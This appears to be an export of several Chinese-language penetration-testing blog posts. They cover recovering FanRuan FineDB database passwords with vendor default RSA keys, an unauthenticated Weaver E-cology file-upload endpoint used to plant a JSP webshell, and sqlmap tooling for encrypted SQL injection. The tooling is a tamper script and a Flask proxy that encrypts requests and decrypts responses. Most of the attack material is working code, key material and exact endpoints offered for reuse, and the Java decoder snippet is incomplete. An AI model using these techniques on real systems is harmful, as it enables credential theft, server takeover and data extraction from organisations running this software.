<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>使用docker搭建</p>
<figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">docker</span> run -p <span class="number">8081</span>:<span class="number">8080</span> -p <span class="number">8082</span>:<span class="number">8000</span> -d ysslang/finedocker:persist-<span class="number">2022</span>.<span class="number">05</span>.<span class="number">20</span></span><br></pre></td></tr></table></figure>
<p>由于MacOS容器跟宿主机不在同一个网络中,可以使用docker.for.mac.host.internal进行连接(容器连接宿主机)</p>
<p>修改容器里tomcat的catalina.sh文件,启动jdwp调试端口</p>
<figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> <span class="attribute">JAVA_OPTS</span>=<span class="string">'-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000'</span></span><br></pre></td></tr></table></figure>
<p>重启容器</p>
<h1 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h1><p>前端进行配置操作时,会发起config/finedb请求</p>
<p><code>com.fr.web.controller.decision.api.migration.MigrationResource.updateFineDBConfig</code></p>
<p><img data-src="https://s2.loli.net/2023/04/05/3SgAqNm1d2WVPIh.png" alt="初始化DB"></p>
<p>根据路由日志可得知该请求为:</p>
<p><code>com.fr.web.controller.decision.api.migration.MigrationResource.updateFineDBConfig</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="number">2023</span>-<span class="number">03</span>-<span class="number">29</span> <span class="number">12</span>:<span class="number">07</span>:<span class="number">27</span> <span class="number">29</span>-Mar-<span class="number">2023</span> <span class="number">12</span>:<span class="number">07</span>:<span class="number">27.258</span> 信息 [localhost-startStop-<span class="number">1</span>] com.fr.third.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.register Mapped <span class="string">"{[/{version}/migration/config/finedb],methods=[POST]}"</span> onto <span class="keyword">public</span> com.fr.decision.webservice.Response com.fr.web.controller.decision.api.migration.MigrationResource.updateFineDBConfig(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse,java.lang.String,com.fr.decision.webservice.bean.migration.DBConfigBean) <span class="keyword">throws</span> java.lang.Exception</span><br></pre></td></tr></table></figure>
<p><img data-src="https://s2.loli.net/2023/04/05/vT4HiWeuOqsAxRj.png" alt="updateFineDBConfig"></p>
<p>跟进<code>updateFineDBConfig</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateFineDBConfig</span><span class="params">(DBConfigBean var1)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> var1.setPassword(<span class="built_in">this</span>.getFineDBPassword(var1));</span><br><span class="line"> MigrationContext.getInstance().updateFineDBConfig(var1);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>跟进<code>updateFineDBConfig</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">updateFineDBConfig</span><span class="params">(DBConfigBean var1)</span> {</span><br><span class="line"> MigrationDBConfiguration.getInstance().updateCache(var1.toDBOption());</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>跟进<code>updateCache</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">updateCache</span><span class="params">(DBOption var1)</span> {</span><br><span class="line"> <span class="built_in">this</span>.cachedOption = FineDBProperties.getInstance().get();</span><br><span class="line"> <span class="type">Properties</span> <span class="variable">var2</span> <span class="operator">=</span> var1.getProperties();</span><br><span class="line"> <span class="type">Iterator</span> <span class="variable">var3</span> <span class="operator">=</span> var2.stringPropertyNames().iterator();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(var3.hasNext()) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">var4</span> <span class="operator">=</span> (String)var3.next();</span><br><span class="line"> <span class="built_in">this</span>.cachedOption.addRawProperty(var4, var2.get(var4));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (Log4jConfig.getInstance().getRootLevel() == Level.DEBUG) {</span><br><span class="line"> <span class="built_in">this</span>.cachedOption.addRawProperty(<span class="string">"show_sql"</span>, <span class="literal">true</span>);</span><br><span class="line"> <span class="built_in">this</span>.cachedOption.addRawProperty(<span class="string">"format_sql"</span>, <span class="literal">true</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>跟进<code>getProperties</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> Properties <span class="title function_">getProperties</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> (Properties)<span class="built_in">this</span>.properties.clone();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> DBOption <span class="title function_">read</span><span class="params">(InputStream var1)</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">this</span>.read(var1, (PasswordCipher)<span class="literal">null</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> DBOption <span class="title function_">read</span><span class="params">(InputStream var1, PasswordCipher var2)</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="built_in">this</span>.properties.load(var1);</span><br><span class="line"> <span class="built_in">this</span>.trimValues();</span><br><span class="line"> <span class="keyword">if</span> (var2 != <span class="literal">null</span> && <span class="built_in">this</span>.properties.containsKey(<span class="string">"hibernate.connection.password"</span>)) {</span><br><span class="line"> <span class="built_in">this</span>.properties.put(<span class="string">"hibernate.connection.password"</span>, var2.decode(<span class="built_in">this</span>.properties.getProperty(<span class="string">"hibernate.connection.password"</span>)));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">this</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>在进行DB配置读取时会调用decode进行解密,并且decode在<code>com.fr.properties.finedb.DBPropertyCipher</code>进行了实现。跟进之后可以看到具体实现解密功能的代码。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> String <span class="title function_">decode</span><span class="params">(String var1)</span> {</span><br><span class="line"> <span class="keyword">if</span> (StringUtils.isEmpty(var1)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> String var2;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> var2 = StorageEncryptors.getInstance().decrypt(var1, FineDBSecretImpl.KEY.getPrivateKey());</span><br><span class="line"> } <span class="keyword">catch</span> (Exception var4) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">LifecycleFatalError</span>(var4.getMessage(), var4);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="literal">null</span> == var2) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">LifecycleFatalError</span>(<span class="string">"Error to decrypt database password!"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> var2;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>可以看到会调用decrypt函数进行解密,并且密钥为<code>FineDBSecretImpl.KEY.getPrivateKey()</code>。跟进之后发现会判断var1是否为空,如果不为空进入findMatchedText进行正则匹配之后返回var2。如果为空,直接返回</p>
<p><code>StorageEncryptors.getInstance().getCurrentSecurityKeys().getDecodeKey()</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> String <span class="title function_">getPrivateKey</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">String</span> <span class="variable">var1</span> <span class="operator">=</span> <span class="built_in">this</span>.getText();</span><br><span class="line"> <span class="keyword">if</span> (StringUtils.isNotEmpty(var1)) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">var2</span> <span class="operator">=</span> <span class="built_in">this</span>.findMatchedText(var1, PRIVATE_PATTERN);</span><br><span class="line"> <span class="keyword">if</span> (StringUtils.isNotEmpty(var2)) {</span><br><span class="line"> <span class="keyword">return</span> var2;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> StorageEncryptors.getInstance().getCurrentSecurityKeys().getDecodeKey();</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>跟进getDecodeKey之后,发现有两个实现:RSA、SM2,根据配置文件信息可得知数据库密码为RSA加密。跟进对应实现之后可以发现最终调用的是getDefaultDecodeKey。通过向<code>DefaultKeys.getInstance().getKey</code>传入不同参数获取公钥、私钥。继续跟进之后可以看到<code>DefaultKeys</code>进行初始化操作。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="title function_">DefaultKeys</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">Properties</span> <span class="variable">var1</span> <span class="operator">=</span> <span class="built_in">this</span>.read(<span class="string">"/58f9/default"</span>);</span><br><span class="line"> <span class="type">Properties</span> <span class="variable">var2</span> <span class="operator">=</span> <span class="built_in">this</span>.read(<span class="string">"/8d30/default"</span>);</span><br><span class="line"> <span class="type">Properties</span> <span class="variable">var3</span> <span class="operator">=</span> <span class="built_in">this</span>.read(<span class="string">"/53c1/default"</span>);</span><br><span class="line"> <span class="type">Iterator</span> <span class="variable">var4</span> <span class="operator">=</span> var1.entrySet().iterator();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(var4.hasNext()) {</span><br><span class="line"> Map.<span class="type">Entry</span> <span class="variable">var5</span> <span class="operator">=</span> (Map.Entry)var4.next();</span><br><span class="line"> <span class="type">String</span> <span class="variable">var6</span> <span class="operator">=</span> var5.getKey().toString();</span><br><span class="line"> <span class="built_in">this</span>.keys.put(var6, var5.getValue().toString() + var2.getProperty(var6, <span class="string">""</span>) + var3.getProperty(var6, <span class="string">""</span>));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>跟进read函数,可发现最终是由<code>com/fr/security/encryption/storage/keys/impl/var1</code>进行获取</p>
<p><img data-src="https://s2.loli.net/2023/04/05/LAJ798tdBbUcMkN.png" alt="RSA Pri"></p>
<p>RSA公钥、私钥</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">rsa_pub=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAj0yc<span class="regexp">/l+39O1XukrG1cA4rmJEDlmfdUZHVWFrFkYA3XvZI9FQIYjx/i</span>rVurCtXsgn88xWlvEMAlKQVdU5EDvv5q</span><br><span class="line">rsa_pri=MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCPTJz+X7f07Ve6SsbVwDiuYkQOWZ91RkdVYWsWRgDde9kj0VAhiPH+KtW6sK1eyCfzzFaW8QwCUpBV1TkQO+<span class="regexp">/mpL71fzctXq3JKEVDiFVr6zWf54eFaPc9NNOwQs3tISZoJ3MU0Bx9dgT5znWa9ZKKg6S05FniX1KHexD5v8aKvvSEmT4BEjakTbGYRlAILW+SzytJprL8u4YT48GS4rjaptx9aQGG9dvwaqdbb7cDrWEVrxVJ1mYSrmqoO8JRIHGNWEBOAA7nupCh/</span>e<span class="regexp">/XeXKfzOT4WD8ph5PWK7GClWpiMsBHKvZ/</span>WFkGKJlPnI23BVWTf7i4<span class="regexp">/YDIiH6g0A66M1JrAgMBAAECggEAJ8Xt9TSADH0r0ksa8Q0PLmeb2BfMCHLfLbWCUYZQiyjq1eQsx4IJGLCu7chH9ny7ihF3HyH8YVClOw2ZbwYTygKD9gO/</span>Ptp+hcylnN7kRrXcBmvu03qU1Ooqr0t7eIuw60u3x1kT7</span><br><span class="line">sm2=MzA4MjAxNTEwMjAxMDEwNDIwYzQxYTMyYzRhOWMwMTFhYmE0Yzk2NjA4YjUwMDA1NzllNzA2ZmRmZDA2NDE4NjljNmRjNGJkNDY3MmQ1YWI4ZmEwODFlMzMwODFlMDAyMDEwMTMwMmMwNjA3MmE4NjQ4Y2UzZDAxMDEwMjIxMDBmZmZmZmZmZWZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmMDAwMDAwMDBmZmZmZmZmZmZmZmZmZmZmMzA0NDA0MjBmZmZmZmZmZWZmZmZmZmZmZmZmZmZmZmZmZmZm</span><br></pre></td></tr></table></figure>
<h1 id="解密函数实现"><a href="#解密函数实现" class="headerlink" title="解密函数实现"></a>解密函数实现</h1><p>根据上述,可得知直接调用对应decode即可对加密数据进行解密</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> org.passwordDecode;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fr.properties.finedb.DBPropertyCipher;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">pdDecode</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> decodePass = DBPropertyCipher.getInstance().decode(encString.replace(<span class="string">"\\r\\n"</span>,<span class="string">"\n"</span>).replace(<span class="string">"\\="</span>,<span class="string">"="</span>));</span><br><span class="line"> System.out.println(decodePass);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p><img data-src="https://s2.loli.net/2023/04/05/Fe9Z8yLAqGdrfnC.png" alt="decode"></p>
<h1 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h1><ol>
<li>在使用idea+maven进行打包的时候,发现如果将帆软的lib通过外部库引用的方式,打包之后无法调用(类找不到)。通过<code>mvn install:install</code>将对应jar安装到本地仓库即可</li>
</ol>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mvn install:install-file -Dfile=fine-core-10.0.jar -DgroupId=com.fr -DartifactId=core -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-accumulator-10.0.jar -DgroupId=com.fr -DartifactId=accumulator -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-activator-10.0.jar -DgroupId=com.fr -DartifactId=activator -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-datasource-10.0.jar -DgroupId=com.fr -DartifactId=datasource -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-decision-10.0.jar -DgroupId=com.fr -DartifactId=decision -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-decision-report-10.0.jar -DgroupId=com.fr -DartifactId=decision-report -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-report-engine-10.0.jar -DgroupId=com.fr -DartifactId=report-engine -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-schedule-10.0.jar -DgroupId=com.fr -DartifactId=schedule -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-schedule-report-10.0.jar -DgroupId=com.fr -DartifactId=schedule-report -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-swift-log-adaptor-10.0.jar -DgroupId=com.fr -DartifactId=swift-log-adaptor -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-third-10.0.jar -DgroupId=com.fr -DartifactId=third -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-webui-10.0.jar -DgroupId=com.fr -DartifactId=webui -Dversion=10 -Dpackaging=jar</span><br></pre></td></tr></table></figure>
<ol start="2">
<li>发现打包之后的jar找不到主属性清单,通过使用spring-boot-maven-plugin解决</li>
</ol>
<figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><plugin></span><br><span class="line"> <groupId>org.springframework.boot</groupId></span><br><span class="line"> <artifactId>spring-boot-maven-plugin</artifactId></span><br><span class="line"> <version>2.3.7.RELEASE</version></span><br><span class="line"> <configuration></span><br><span class="line"> <mainClass>org.passwordDecode.pdDecode</mainClass></span><br><span class="line"> </configuration></span><br><span class="line"> <executions></span><br><span class="line"> <execution></span><br><span class="line"> <goals></span><br><span class="line"> <goal>repackage</goal></span><br><span class="line"> </goals></span><br><span class="line"> </execution></span><br><span class="line"> </executions></span><br><span class="line"></plugin></span><br></pre></td></tr></table></figure>
]]></content>
<categories>
<category>安全</category>
<category>渗透测试</category>
</categories>
<tags>
<tag>帆软</tag>
</tags>
</entry>
<entry>
<title>泛微E-cology任意文件上传</title>
<url>/archives/be5ece47.html</url>
<content><![CDATA[<p>这是一个“偶遇”泛微任意文件上传的故事。</p>
<p><img data-src="https://s2.loli.net/2023/04/05/AuXVyHvI1tJF2q4.png"></p>
<span id="more"></span>
<h1 id="故事起源"><a href="#故事起源" class="headerlink" title="故事起源"></a>故事起源</h1><p>访问<span class="exturl" data-url="aHR0cHM6Ly93d3cud2VhdmVyLmNvbS5jbi9jcy9zZWN1cml0eURvd25sb2FkLmh0bWw=">泛微安全补丁<i class="fa fa-external-link-alt"></i></span>页面发现泛微ecology五月十一号更新了一个补丁,主要包括三个内容:</p>
<ol>
<li>fastjson升级至1.2.68版本;</li>
<li>安全补丁包性能优化;</li>
<li>修复一些安全隐患;</li>
</ol>
<p>看到修复一些安全隐患,那么代表肯定有安全漏洞!</p>
<h1 id="漏洞发现"><a href="#漏洞发现" class="headerlink" title="漏洞发现"></a>漏洞发现</h1><p>下载最新补丁分析之后,发现一个有趣的文件:uploadOperation,根据名称可以大概知道是一个上传的功能点,补丁包里面的uploadOperatio文件改成了直接输出error。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line">out.println(<span class="string">"error"</span>);</span><br></pre></td></tr></table></figure>
<p>根据名称和文件内容,猜测这个功能在之前的版本存在文件上传。翻出之前的版本查看uploadOperation文件,发现uploadOperation功能极其简单:根据请求包的上传请求,将文件保存在page/exportImport/fileTransfer目录下。并且在前后翻了许多遍,根本没有任何的过滤、校验!</p>
<h1 id="漏洞验证"><a href="#漏洞验证" class="headerlink" title="漏洞验证"></a>漏洞验证</h1><p>根据功能,构造一个文件上传的请求进行验证,发现可以直接上传jsp类型文件。</p>
<p><img data-src="https://s2.loli.net/2023/04/05/y8Jle5G172AmFan.png"></p>
<p>shell</p>
<p><img data-src="https://s2.loli.net/2023/04/05/AuXVyHvI1tJF2q4.png"></p>
<h1 id="漏洞危害"><a href="#漏洞危害" class="headerlink" title="漏洞危害"></a>漏洞危害</h1><p>一开始理解该功能是需要登录才能使用,后面通过fofa搜索发现有某些版本可以不需要登录直接访问!!!代表该问题是一处没有任何限制的任意文件上传!!!</p>
<p>page/exportImport/uploadOperation.jsp</p>
<p><img data-src="https://s2.loli.net/2023/04/05/fgMvu1eHcznLiIa.png"></p>
<p><img data-src="https://s2.loli.net/2023/04/05/GN1alCJHe9Qfp4v.png"></p>
<p><img data-src="https://s2.loli.net/2023/04/05/mCRTs3wb1PvK58Q.png"></p>
]]></content>
<categories>
<category>安全</category>
<category>渗透测试</category>
</categories>
<tags>
<tag>漏洞分析</tag>
<tag>泛微</tag>
</tags>
</entry>
<entry>
<title>渗透测试-加密SQL注入</title>
<url>/archives/5f6b1580.html</url>
<content><![CDATA[<p>在日站的时候,发现一处注入。但是注入语句被AES加密。通过Chrome进行单步debug,拿到了key、iv等信息。最后使用SQLMap加载tamper进行自动注入。<br><a href="https://i.loli.net/2018/11/06/5be139214993c.png"><img data-src="https://i.loli.net/2018/11/06/5be139214993c.png" alt="sqlmap.png"></a></p>
<span id="more"></span>
<h1 id="寻找注入点"><a href="#寻找注入点" class="headerlink" title="寻找注入点"></a>寻找注入点</h1><p>渗透的时候,发现了一个页面,参数有initSql,看到这个参数名称猜测这个参数是用来进行SQL查询的,但是这个参数被加密了。将initSql的值替换成后一个请求的initSql参数的值,回显信息里面出现了SQL报错信息。<br><a href="https://i.loli.net/2018/11/06/5be131bc0ea0a.png"><img data-src="https://i.loli.net/2018/11/06/5be131bc0ea0a.png" alt="SQL加密.png"></a><br>现在可以判断这个就是一个注入点,但是现在这样是没办法把数据成功注入出来!转头一想,进行请求的时候参数值已经被加密,那么这个加密操作十有八九是在前端通过JS进行加密,服务器再进行解密。</p>
<h1 id="寻找加密信息"><a href="#寻找加密信息" class="headerlink" title="寻找加密信息"></a>寻找加密信息</h1><p>按照刚刚的思路,现在去import的JS里面进行寻找关键的加密函数以及加密,使用chrome开发者工具中的【Select an element in the page to inspect it】定位到【Sources】中的对应行业,点击左边的行数进行debug,通过不断的单步直至找到对应的js。<br><a href="https://i.loli.net/2018/11/06/5be133a64fb94.png"><img data-src="https://i.loli.net/2018/11/06/5be133a64fb94.png" alt="key.png"></a><br>使用找到的iv、key可成功的对加密之后的语句进行解密,但是这样去注入得手工一点一点的去搞,还是得祭出SQLMap这种神器最方便。<br>想起SQLMap可以使用tamper加载脚本,对注入的payload进行处理。这里直接把代码贴上来给大家参考参考。</p>
<figure class="highlight pgsql"><table><tr><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"></span><br><span class="line">"""</span><br><span class="line">Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)</span><br><span class="line">See the file 'LICENSE' for copying permission</span><br><span class="line">"""</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> lib.core.enums <span class="keyword">import</span> PRIORITY</span><br><span class="line"></span><br><span class="line">__priority__ = PRIORITY.LOW</span><br><span class="line"></span><br><span class="line">def tamper(payload, **kwargs): </span><br><span class="line"> BS = AES.block_size</span><br><span class="line"> pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)</span><br><span class="line"> </span><br><span class="line"> key = "xxxxxxxxxx"</span><br><span class="line"> iv = "xxxxxxxx"</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> cipher = AES.<span class="built_in">new</span>(key)</span><br><span class="line"> cipher = AES.<span class="built_in">new</span>(key,</span><br><span class="line"> AES.MODE_CBC, IV=iv)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">encrypted</span> = cipher.encrypt(pad(payload))</span><br><span class="line"> <span class="keyword">encrypted</span> = base64.b64encode(<span class="keyword">encrypted</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">encrypted</span></span><br></pre></td></tr></table></figure>
<p>后面加载这个tamper就可以直接用SQLMap跑了。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol>
<li>这个漏洞产生原因”大概“是因为上次被发现注入,开发人员”偷懒“直接调用CryptoJS进行加密,导致该漏洞产生;</li>
<li>现在很多操作都会放在前端进行操作,挖挖前端也是一种思路。</li>
</ol>
]]></content>
<categories>
<category>安全</category>
<category>渗透测试</category>
</categories>
<tags>
<tag>SQL注入</tag>
<tag>SQLMAP</tag>
</tags>
</entry>
<entry>
<title>渗透测试-响应加密SQL注入</title>
<url>/archives/8592a171.html</url>
<content><![CDATA[<p>在渗透的时候,发现有一处注入点请求参数进行了des加密,并且响应包也通过des进行了加密。想使用sqlmap进行注入,发现sqlmap不支持响应包处理操作(tamper只适用于请求包处理)。通过flask进行处理,最终使用sqlmap成功注入。</p>
<p><img data-src="https://i.loli.net/2019/07/11/5d26a759ad31f57825.png" alt="sqlmap-result.png"></p>
<span id="more"></span>
<h1 id="寻找注入点"><a href="#寻找注入点" class="headerlink" title="寻找注入点"></a>寻找注入点</h1><p>发现一处页面名称为doQuery,猜测是用来执行查询功能。POST请求包:其参数名为reqParam,其值为des加密字段(url编码)。</p>
<p><img data-src="https://i.loli.net/2019/07/11/5d2693a89620e87249.png" alt="request.png"></p>
<p>经过验证确实为des加密,如何寻找key、iv在此就不赘述了,可以去<a href="/archives/5f6b1580.html" title="渗透测试-加密SQL注入">渗透测试-加密SQL注入</a>了解。</p>
<p><img data-src="https://i.loli.net/2019/07/11/5d2696e5a958769670.png" alt="des-req.png"></p>
<p>查看对应的响应包,发现整个响应包内容都被加密了</p>
<p><img data-src="https://i.loli.net/2019/07/11/5d26a8e9661dd40130.png" alt="des-resp.png"></p>
<p>使用对应的key能将响应包内容解密出来。</p>
<p><img data-src="https://i.loli.net/2019/07/11/5d26975c2661630066.png" alt="des-resp.png"></p>
<h2 id="SQLMap"><a href="#SQLMap" class="headerlink" title="SQLMap"></a>SQLMap</h2><h2 id="问题归纳"><a href="#问题归纳" class="headerlink" title="问题归纳"></a>问题归纳</h2><p>本以为SQLMap会自带功能对响应包进行解密,毕竟SQLMap支持自定义脚本(tamper)对请求包进行处理。根据sqlmap官方github仓库的<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3NxbG1hcHByb2plY3Qvc3FsbWFwL2lzc3Vlcy8yMzA5">issues<i class="fa fa-external-link-alt"></i></span>,得知SQLMap不支持对响应内容进行编码处理。现在的问题点在于如何对response进行处理,认真想了想sqlmap支持proxy进行代理,那么可以通过代理将请求转发过来,由代理服务器对请求、响应进行处理。</p>
<h2 id="flask代理"><a href="#flask代理" class="headerlink" title="flask代理"></a>flask代理</h2><p>需要实现几个关键点:</p>
<ul>
<li>对请求参数reqParam的值进行des加密,假定该值为encrypt_str</li>
<li>对encrypt_str进行url编码处理,假定该值为post_data</li>
<li>对响应包进行解密</li>
</ul>
<p>这里就直接贴代码给大家参考参考。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> pyDes</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> logging</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request, Response</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> unquote, quote</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.before_request</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">proxy</span>():</span><br><span class="line"> secret_key = <span class="string">b"****"</span></span><br><span class="line"> k = pyDes.des(secret_key, pyDes.ECB, pad=<span class="literal">None</span>, padmode=pyDes.PAD_PKCS5)</span><br><span class="line"> encrypt_test_str = unquote(request.get_data().decode())[<span class="number">9</span>:]</span><br><span class="line"> encrypt_str = k.encrypt(encrypt_test_str)</span><br><span class="line"> post_data = <span class="string">b'reqParam='</span> + quote(base64.b64encode(encrypt_str)).encode()</span><br><span class="line"> app.logger.info(<span class="string">"Encrypt data:%s"</span>, post_data)</span><br><span class="line"> resp = requests.request(</span><br><span class="line"> method=request.method,</span><br><span class="line"> url=request.url,</span><br><span class="line"> headers={key: value <span class="keyword">for</span> (key, value) <span class="keyword">in</span> request.headers <span class="keyword">if</span> key != <span class="string">'Host'</span>},</span><br><span class="line"> data=post_data,</span><br><span class="line"> cookies=request.cookies, allow_redirects=<span class="literal">False</span>, verify=<span class="literal">False</span>)</span><br><span class="line"> excluded_headers = [<span class="string">'content-encoding'</span>, <span class="string">'content-length'</span>, <span class="string">'transfer-encoding'</span>, <span class="string">'connection'</span>]</span><br><span class="line"> headers = [(name, value) <span class="keyword">for</span> (name, value) <span class="keyword">in</span> resp.raw.headers.items()</span><br><span class="line"> <span class="keyword">if</span> name.lower() <span class="keyword">not</span> <span class="keyword">in</span> excluded_headers]</span><br><span class="line"> response_data = base64.b64decode(resp.content)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">b"false"</span> <span class="keyword">in</span> k.decrypt(response_data):</span><br><span class="line"> app.logger.error(<span class="string">'Response data:%s'</span>, k.decrypt(response_data))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> app.logger.info(<span class="string">'Response data:%s'</span>, k.decrypt(response_data))</span><br><span class="line"> response = Response(k.decrypt(response_data), resp.status_code, headers)</span><br><span class="line"> <span class="keyword">return</span> response</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> app.run(host=<span class="string">"0.0.0.0"</span>, debug=<span class="literal">True</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>将请求保存到sql.txt里,需要注意的是在sql.txt中reqParam参数需为解密之后字符串。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo python sqlmap.py -r sql.txt --proxy http://127.0.0.1:5000</span><br></pre></td></tr></table></figure>
<h1 id="SQL注入问题解决"><a href="#SQL注入问题解决" class="headerlink" title="SQL注入问题解决"></a>SQL注入问题解决</h1><p>现在已经可以通过flask对请求、响应进行加密、解密等操作,但是查看sqlmap的返回结果,显示没有注入。Emmmm·····认真查看了json里面参数,发现有orderBy参数,直接使用*指定该参数,看看能不能有什么进展。</p>
<p>这时候发现响应内容为:<code>{"errmsg":"ORA-01785: ORDER BY item must be the number of a SELECT-list expression\\n","success":false}'</code>基本可以明确该点确实有问题,但是这次依旧跑不出来!</p>
<p>认真查看发现爆出了原始语句,最后对注入点的语句进行“优化”,成功跑出来。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p> 1.有时候可以通过自己编写一些小工具辅助工作,例如本次使用flask结合sqlmap;</p>
